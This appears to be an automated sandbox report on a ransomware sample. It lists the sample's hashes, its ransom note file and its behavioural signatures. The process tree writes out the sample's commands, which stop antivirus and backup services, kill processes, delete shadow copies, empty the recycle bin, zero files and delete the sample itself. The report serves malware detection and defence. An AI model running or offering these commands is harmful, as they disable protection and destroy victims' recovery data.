Analysis
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max time kernel
144s -
max time network
143s -
platform
windows10_x64 -
resource
win10 -
submitted
18/06/2020, 02:08
Static task
static1
Behavioral task
behavioral1
Sample
90a909a4508aa899b4be372e7de6f500.exe
Resource
win7v200430
Behavioral task
behavioral2
Sample
90a909a4508aa899b4be372e7de6f500.exe
Resource
win10
General
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Target
90a909a4508aa899b4be372e7de6f500.exe
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Size
62KB
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MD5
90a909a4508aa899b4be372e7de6f500
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SHA1
7bb201923d7055c149858d087c0a44ab9530536e
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SHA256
1c83ff2394da76e6296e6ad72c40dbde107704a711bbd08b633c57587230ccf8
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SHA512
57b732ac3827878c81ed45e26001695c42240b6eb16d4c9d0ecd34d41ede0d598983c156a5c22c8a5f79e81437ed308e0414571cda1c0725ab7b2b3ef9f683cf
Malware Config
Extracted
C:\Users\Admin\AppData\Local\Temp\DEAL_FOR_ACCESS_TO_YOUR_FILES.txt
Signatures
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Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
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Drops startup file 1 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mystartup.lnk 90a909a4508aa899b4be372e7de6f500.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Enumerates connected drives 3 TTPs 18 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\E: vssadmin.exe File opened (read-only) \??\E: vssadmin.exe File opened (read-only) \??\G: vssadmin.exe File opened (read-only) \??\g: vssadmin.exe File opened (read-only) \??\D: vssadmin.exe File opened (read-only) \??\D: vssadmin.exe File opened (read-only) \??\f: vssadmin.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\g: vssadmin.exe File opened (read-only) \??\e: vssadmin.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\G: vssadmin.exe File opened (read-only) \??\h: vssadmin.exe File opened (read-only) \??\e: vssadmin.exe File opened (read-only) \??\f: vssadmin.exe File opened (read-only) \??\H: vssadmin.exe File opened (read-only) \??\H: vssadmin.exe File opened (read-only) \??\h: vssadmin.exe -
Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Interacts with shadow copies 2 TTPs 14 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 3632 vssadmin.exe 3948 vssadmin.exe 740 vssadmin.exe 496 vssadmin.exe 476 vssadmin.exe 3940 vssadmin.exe 3924 vssadmin.exe 3824 vssadmin.exe 3796 vssadmin.exe 3820 vssadmin.exe 3584 vssadmin.exe 3928 vssadmin.exe 3448 vssadmin.exe 4008 vssadmin.exe -
Kills process with taskkill 3 IoCs
pid Process 3832 taskkill.exe 776 taskkill.exe 2960 taskkill.exe -
Opens file in notepad (likely ransom note) 2 IoCs
pid Process 3916 notepad.exe 3804 NOTEPAD.EXE -
Runs net.exe
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Runs ping.exe 1 TTPs 4 IoCs
pid Process 2684 PING.EXE 2916 PING.EXE 3836 PING.EXE 3884 PING.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 1308 WINWORD.EXE 1308 WINWORD.EXE -
Suspicious use of AdjustPrivilegeToken 7 IoCs
description pid Process Token: SeDebugPrivilege 2896 90a909a4508aa899b4be372e7de6f500.exe Token: SeDebugPrivilege 3832 taskkill.exe Token: SeDebugPrivilege 776 taskkill.exe Token: SeDebugPrivilege 2960 taskkill.exe Token: SeBackupPrivilege 3876 vssvc.exe Token: SeRestorePrivilege 3876 vssvc.exe Token: SeAuditPrivilege 3876 vssvc.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 2896 90a909a4508aa899b4be372e7de6f500.exe -
Suspicious use of SendNotifyMessage 1 IoCs
pid Process 2896 90a909a4508aa899b4be372e7de6f500.exe -
Suspicious use of SetWindowsHookEx 15 IoCs
pid Process 1308 WINWORD.EXE 1308 WINWORD.EXE 1308 WINWORD.EXE 1308 WINWORD.EXE 1308 WINWORD.EXE 1308 WINWORD.EXE 1308 WINWORD.EXE 1308 WINWORD.EXE 1308 WINWORD.EXE 1308 WINWORD.EXE 1308 WINWORD.EXE 1308 WINWORD.EXE 1308 WINWORD.EXE 1308 WINWORD.EXE 1308 WINWORD.EXE -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2896 wrote to memory of 3520 2896 90a909a4508aa899b4be372e7de6f500.exe 67 PID 2896 wrote to memory of 3520 2896 90a909a4508aa899b4be372e7de6f500.exe 67 PID 2896 wrote to memory of 3520 2896 90a909a4508aa899b4be372e7de6f500.exe 67 PID 3520 wrote to memory of 3840 3520 net.exe 69 PID 3520 wrote to memory of 3840 3520 net.exe 69 PID 3520 wrote to memory of 3840 3520 net.exe 69 PID 2896 wrote to memory of 3984 2896 90a909a4508aa899b4be372e7de6f500.exe 70 PID 2896 wrote to memory of 3984 2896 90a909a4508aa899b4be372e7de6f500.exe 70 PID 2896 wrote to memory of 3984 2896 90a909a4508aa899b4be372e7de6f500.exe 70 PID 3984 wrote to memory of 3828 3984 net.exe 72 PID 3984 wrote to memory of 3828 3984 net.exe 72 PID 3984 wrote to memory of 3828 3984 net.exe 72 PID 2896 wrote to memory of 3872 2896 90a909a4508aa899b4be372e7de6f500.exe 73 PID 2896 wrote to memory of 3872 2896 90a909a4508aa899b4be372e7de6f500.exe 73 PID 2896 wrote to memory of 3872 2896 90a909a4508aa899b4be372e7de6f500.exe 73 PID 3872 wrote to memory of 3888 3872 net.exe 75 PID 3872 wrote to memory of 3888 3872 net.exe 75 PID 3872 wrote to memory of 3888 3872 net.exe 75 PID 2896 wrote to memory of 3868 2896 90a909a4508aa899b4be372e7de6f500.exe 76 PID 2896 wrote to memory of 3868 2896 90a909a4508aa899b4be372e7de6f500.exe 76 PID 2896 wrote to memory of 3868 2896 90a909a4508aa899b4be372e7de6f500.exe 76 PID 3868 wrote to memory of 3928 3868 net.exe 78 PID 3868 wrote to memory of 3928 3868 net.exe 78 PID 3868 wrote to memory of 3928 3868 net.exe 78 PID 2896 wrote to memory of 2668 2896 90a909a4508aa899b4be372e7de6f500.exe 79 PID 2896 wrote to memory of 2668 2896 90a909a4508aa899b4be372e7de6f500.exe 79 PID 2896 wrote to memory of 2668 2896 90a909a4508aa899b4be372e7de6f500.exe 79 PID 2668 wrote to memory of 3380 2668 net.exe 81 PID 2668 wrote to memory of 3380 2668 net.exe 81 PID 2668 wrote to memory of 3380 2668 net.exe 81 PID 2896 wrote to memory of 3384 2896 90a909a4508aa899b4be372e7de6f500.exe 82 PID 2896 wrote to memory of 3384 2896 90a909a4508aa899b4be372e7de6f500.exe 82 PID 2896 wrote to memory of 3384 2896 90a909a4508aa899b4be372e7de6f500.exe 82 PID 3384 wrote to memory of 2916 3384 net.exe 84 PID 3384 wrote to memory of 2916 3384 net.exe 84 PID 3384 wrote to memory of 2916 3384 net.exe 84 PID 2896 wrote to memory of 2760 2896 90a909a4508aa899b4be372e7de6f500.exe 85 PID 2896 wrote to memory of 2760 2896 90a909a4508aa899b4be372e7de6f500.exe 85 PID 2896 wrote to memory of 2760 2896 90a909a4508aa899b4be372e7de6f500.exe 85 PID 2760 wrote to memory of 2336 2760 net.exe 87 PID 2760 wrote to memory of 2336 2760 net.exe 87 PID 2760 wrote to memory of 2336 2760 net.exe 87 PID 2896 wrote to memory of 2116 2896 90a909a4508aa899b4be372e7de6f500.exe 88 PID 2896 wrote to memory of 2116 2896 90a909a4508aa899b4be372e7de6f500.exe 88 PID 2896 wrote to memory of 2116 2896 90a909a4508aa899b4be372e7de6f500.exe 88 PID 2116 wrote to memory of 2976 2116 net.exe 90 PID 2116 wrote to memory of 2976 2116 net.exe 90 PID 2116 wrote to memory of 2976 2116 net.exe 90 PID 2896 wrote to memory of 3652 2896 90a909a4508aa899b4be372e7de6f500.exe 91 PID 2896 wrote to memory of 3652 2896 90a909a4508aa899b4be372e7de6f500.exe 91 PID 2896 wrote to memory of 3652 2896 90a909a4508aa899b4be372e7de6f500.exe 91 PID 3652 wrote to memory of 3840 3652 net.exe 93 PID 3652 wrote to memory of 3840 3652 net.exe 93 PID 3652 wrote to memory of 3840 3652 net.exe 93 PID 2896 wrote to memory of 3812 2896 90a909a4508aa899b4be372e7de6f500.exe 94 PID 2896 wrote to memory of 3812 2896 90a909a4508aa899b4be372e7de6f500.exe 94 PID 2896 wrote to memory of 3812 2896 90a909a4508aa899b4be372e7de6f500.exe 94 PID 3812 wrote to memory of 3828 3812 net.exe 96 PID 3812 wrote to memory of 3828 3812 net.exe 96 PID 3812 wrote to memory of 3828 3812 net.exe 96 PID 2896 wrote to memory of 3816 2896 90a909a4508aa899b4be372e7de6f500.exe 97 PID 2896 wrote to memory of 3816 2896 90a909a4508aa899b4be372e7de6f500.exe 97 PID 2896 wrote to memory of 3816 2896 90a909a4508aa899b4be372e7de6f500.exe 97 PID 3816 wrote to memory of 3884 3816 net.exe 99
Processes
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C:\Users\Admin\AppData\Local\Temp\90a909a4508aa899b4be372e7de6f500.exe"C:\Users\Admin\AppData\Local\Temp\90a909a4508aa899b4be372e7de6f500.exe"1⤵
- Drops startup file
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:2896 -
C:\Windows\SysWOW64\net.exe"net.exe" stop avpsus /y2⤵
- Suspicious use of WriteProcessMemory
PID:3520 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop avpsus /y3⤵PID:3840
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C:\Windows\SysWOW64\net.exe"net.exe" stop McAfeeDLPAgentService /y2⤵
- Suspicious use of WriteProcessMemory
PID:3984 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop McAfeeDLPAgentService /y3⤵PID:3828
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C:\Windows\SysWOW64\net.exe"net.exe" stop mfewc /y2⤵
- Suspicious use of WriteProcessMemory
PID:3872 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop mfewc /y3⤵PID:3888
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C:\Windows\SysWOW64\net.exe"net.exe" stop BMR Boot Service /y2⤵
- Suspicious use of WriteProcessMemory
PID:3868 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop BMR Boot Service /y3⤵PID:3928
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C:\Windows\SysWOW64\net.exe"net.exe" stop NetBackup BMR MTFTP Service /y2⤵
- Suspicious use of WriteProcessMemory
PID:2668 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop NetBackup BMR MTFTP Service /y3⤵PID:3380
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C:\Windows\SysWOW64\net.exe"net.exe" stop DefWatch /y2⤵
- Suspicious use of WriteProcessMemory
PID:3384 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop DefWatch /y3⤵PID:2916
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C:\Windows\SysWOW64\net.exe"net.exe" stop ccEvtMgr /y2⤵
- Suspicious use of WriteProcessMemory
PID:2760 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop ccEvtMgr /y3⤵PID:2336
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C:\Windows\SysWOW64\net.exe"net.exe" stop ccSetMgr /y2⤵
- Suspicious use of WriteProcessMemory
PID:2116 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop ccSetMgr /y3⤵PID:2976
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C:\Windows\SysWOW64\net.exe"net.exe" stop SavRoam /y2⤵
- Suspicious use of WriteProcessMemory
PID:3652 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SavRoam /y3⤵PID:3840
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C:\Windows\SysWOW64\net.exe"net.exe" stop RTVscan /y2⤵
- Suspicious use of WriteProcessMemory
PID:3812 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop RTVscan /y3⤵PID:3828
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C:\Windows\SysWOW64\net.exe"net.exe" stop QBFCService /y2⤵
- Suspicious use of WriteProcessMemory
PID:3816 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop QBFCService /y3⤵PID:3884
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C:\Windows\SysWOW64\net.exe"net.exe" stop QBIDPService /y2⤵PID:3800
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop QBIDPService /y3⤵PID:3936
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C:\Windows\SysWOW64\net.exe"net.exe" stop Intuit.QuickBooks.FCS /y2⤵PID:3144
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop Intuit.QuickBooks.FCS /y3⤵PID:3264
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C:\Windows\SysWOW64\net.exe"net.exe" stop QBCFMonitorService /y2⤵PID:3320
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop QBCFMonitorService /y3⤵PID:2660
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C:\Windows\SysWOW64\net.exe"net.exe" stop YooBackup /y2⤵PID:400
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop YooBackup /y3⤵PID:612
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C:\Windows\SysWOW64\net.exe"net.exe" stop YooIT /y2⤵PID:2980
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop YooIT /y3⤵PID:2000
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C:\Windows\SysWOW64\net.exe"net.exe" stop zhudongfangyu /y2⤵PID:2888
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop zhudongfangyu /y3⤵PID:3572
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C:\Windows\SysWOW64\net.exe"net.exe" stop stc_raw_agent /y2⤵PID:3808
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop stc_raw_agent /y3⤵PID:3828
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C:\Windows\SysWOW64\net.exe"net.exe" stop VSNAPVSS /y2⤵PID:3768
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VSNAPVSS /y3⤵PID:3944
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C:\Windows\SysWOW64\net.exe"net.exe" stop VeeamTransportSvc /y2⤵PID:3936
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VeeamTransportSvc /y3⤵PID:3772
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C:\Windows\SysWOW64\net.exe"net.exe" stop VeeamDeploymentService /y2⤵PID:3388
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VeeamDeploymentService /y3⤵PID:1656
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C:\Windows\SysWOW64\net.exe"net.exe" stop VeeamNFSSvc /y2⤵PID:64
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VeeamNFSSvc /y3⤵PID:1336
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C:\Windows\SysWOW64\net.exe"net.exe" stop veeam /y2⤵PID:732
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop veeam /y3⤵PID:2052
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C:\Windows\SysWOW64\net.exe"net.exe" stop PDVFSService /y2⤵PID:728
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop PDVFSService /y3⤵PID:3572
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C:\Windows\SysWOW64\net.exe"net.exe" stop BackupExecVSSProvider /y2⤵PID:3648
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop BackupExecVSSProvider /y3⤵PID:4052
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C:\Windows\SysWOW64\net.exe"net.exe" stop BackupExecAgentAccelerator /y2⤵PID:992
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop BackupExecAgentAccelerator /y3⤵PID:996
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C:\Windows\SysWOW64\net.exe"net.exe" stop BackupExecAgentBrowser /y2⤵PID:3376
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop BackupExecAgentBrowser /y3⤵PID:3916
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C:\Windows\SysWOW64\net.exe"net.exe" stop BackupExecDiveciMediaService /y2⤵PID:3772
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop BackupExecDiveciMediaService /y3⤵PID:4008
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C:\Windows\SysWOW64\net.exe"net.exe" stop BackupExecJobEngine /y2⤵PID:780
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop BackupExecJobEngine /y3⤵PID:736
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C:\Windows\SysWOW64\net.exe"net.exe" stop BackupExecManagementService /y2⤵PID:2044
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop BackupExecManagementService /y3⤵PID:2684
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C:\Windows\SysWOW64\net.exe"net.exe" stop BackupExecRPCService /y2⤵PID:3644
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop BackupExecRPCService /y3⤵PID:3024
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C:\Windows\SysWOW64\net.exe"net.exe" stop AcrSch2Svc /y2⤵PID:3856
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop AcrSch2Svc /y3⤵PID:3828
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C:\Windows\SysWOW64\net.exe"net.exe" stop AcronisAgent /y2⤵PID:3884
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop AcronisAgent /y3⤵PID:3380
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C:\Windows\SysWOW64\net.exe"net.exe" stop CASAD2DWebSvc /y2⤵PID:3916
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop CASAD2DWebSvc /y3⤵PID:3392
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C:\Windows\SysWOW64\net.exe"net.exe" stop CAARCUpdateSvc /y2⤵PID:3588
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop CAARCUpdateSvc /y3⤵PID:3640
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C:\Windows\SysWOW64\net.exe"net.exe" stop sophos /y2⤵PID:2288
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop sophos /y3⤵PID:3908
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C:\Windows\SysWOW64\sc.exe"sc.exe" config SQLTELEMETRY start= disabled2⤵PID:2976
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C:\Windows\SysWOW64\sc.exe"sc.exe" config SQLTELEMETRY$ECWDB2 start= disabled2⤵PID:972
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C:\Windows\SysWOW64\sc.exe"sc.exe" config SQLWriter start= disabled2⤵PID:3024
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C:\Windows\SysWOW64\sc.exe"sc.exe" config SstpSvc start= disabled2⤵PID:3776
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C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM mspub.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3832
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C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM mydesktopqos.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:776
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C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM mydesktopservice.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2960
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C:\Windows\SysWOW64\vssadmin.exe"vssadmin.exe" Delete Shadows /all /quiet2⤵
- Interacts with shadow copies
PID:3632
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C:\Windows\SysWOW64\vssadmin.exe"vssadmin.exe" resize shadowstorage /for=c: /on=c: /maxsize=401MB2⤵
- Interacts with shadow copies
PID:3796
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C:\Windows\SysWOW64\vssadmin.exe"vssadmin.exe" resize shadowstorage /for=c: /on=c: /maxsize=unbounded2⤵
- Interacts with shadow copies
PID:3948
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C:\Windows\SysWOW64\vssadmin.exe"vssadmin.exe" resize shadowstorage /for=d: /on=d: /maxsize=401MB2⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:740
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C:\Windows\SysWOW64\vssadmin.exe"vssadmin.exe" resize shadowstorage /for=d: /on=d: /maxsize=unbounded2⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:496
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C:\Windows\SysWOW64\vssadmin.exe"vssadmin.exe" resize shadowstorage /for=e: /on=e: /maxsize=401MB2⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:3820
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C:\Windows\SysWOW64\vssadmin.exe"vssadmin.exe" resize shadowstorage /for=e: /on=e: /maxsize=unbounded2⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:3584
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C:\Windows\SysWOW64\vssadmin.exe"vssadmin.exe" resize shadowstorage /for=f: /on=f: /maxsize=401MB2⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:476
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C:\Windows\SysWOW64\vssadmin.exe"vssadmin.exe" resize shadowstorage /for=f: /on=f: /maxsize=unbounded2⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:3940
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C:\Windows\SysWOW64\vssadmin.exe"vssadmin.exe" resize shadowstorage /for=g: /on=g: /maxsize=401MB2⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:3924
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C:\Windows\SysWOW64\vssadmin.exe"vssadmin.exe" resize shadowstorage /for=g: /on=g: /maxsize=unbounded2⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:3448
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C:\Windows\SysWOW64\vssadmin.exe"vssadmin.exe" resize shadowstorage /for=h: /on=h: /maxsize=401MB2⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:3824
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C:\Windows\SysWOW64\vssadmin.exe"vssadmin.exe" resize shadowstorage /for=h: /on=h: /maxsize=unbounded2⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:3928
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C:\Windows\SysWOW64\vssadmin.exe"vssadmin.exe" Delete Shadows /all /quiet2⤵
- Interacts with shadow copies
PID:4008
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C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c rd /s /q %SYSTEMDRIVE%\$Recycle.bin2⤵PID:3764
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C:\Windows\SysWOW64\cmd.exe"cmd.exe" /C C:\Users\Admin\AppData\Local\Temp\tmpEF13.bat2⤵PID:3880
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C:\Windows\SysWOW64\mountvol.exemountvol3⤵PID:2000
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C:\Windows\SysWOW64\find.exefind "}\"3⤵PID:3572
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C:\Windows\SysWOW64\mountvol.exemountvol !freedrive!: \\?\Volume{9563bb1f-0000-0000-0000-500600000000}\3⤵PID:2052
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C:\Windows\SysWOW64\PING.EXEping -n 2 127.0.0.13⤵
- Runs ping.exe
PID:2684
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C:\Windows\SysWOW64\mountvol.exemountvol !freedrive!: \\?\Volume{9563bb1f-0000-0000-0000-100000000000}\3⤵PID:2344
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C:\Windows\SysWOW64\PING.EXEping -n 2 127.0.0.13⤵
- Runs ping.exe
PID:2916
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C:\Windows\SysWOW64\mountvol.exemountvol !freedrive!: \\?\Volume{d61488bd-b008-11ea-95e4-806e6f6e6963}\3⤵PID:3572
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C:\Windows\SysWOW64\PING.EXEping -n 2 127.0.0.13⤵
- Runs ping.exe
PID:3836
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C:\Windows\SysWOW64\notepad.exe"C:\Windows\System32\notepad.exe" C:\Users\Admin\Desktop\DEAL_FOR_ACCESS_TO_YOUR_FILES.txt2⤵
- Opens file in notepad (likely ransom note)
PID:3916
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C:\Windows\SysWOW64\cmd.exe"cmd.exe" /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 “%s” & Del /f /q “%s”2⤵PID:3388
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C:\Windows\SysWOW64\PING.EXEping 127.0.0.7 -n 33⤵
- Runs ping.exe
PID:3884
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C:\Windows\SysWOW64\fsutil.exefsutil file setZeroData offset=0 length=524288 “%s”3⤵PID:1188
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" "/C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\90a909a4508aa899b4be372e7de6f500.exe2⤵PID:796
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C:\Windows\SysWOW64\choice.exechoice /C Y /N /D Y /T 33⤵PID:1768
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3876
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C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵PID:3092
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\Desktop\EnableFind.rtf" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:1308
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C:\Windows\system32\NOTEPAD.EXE"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\OptimizeRename.txt1⤵
- Opens file in notepad (likely ransom note)
PID:3804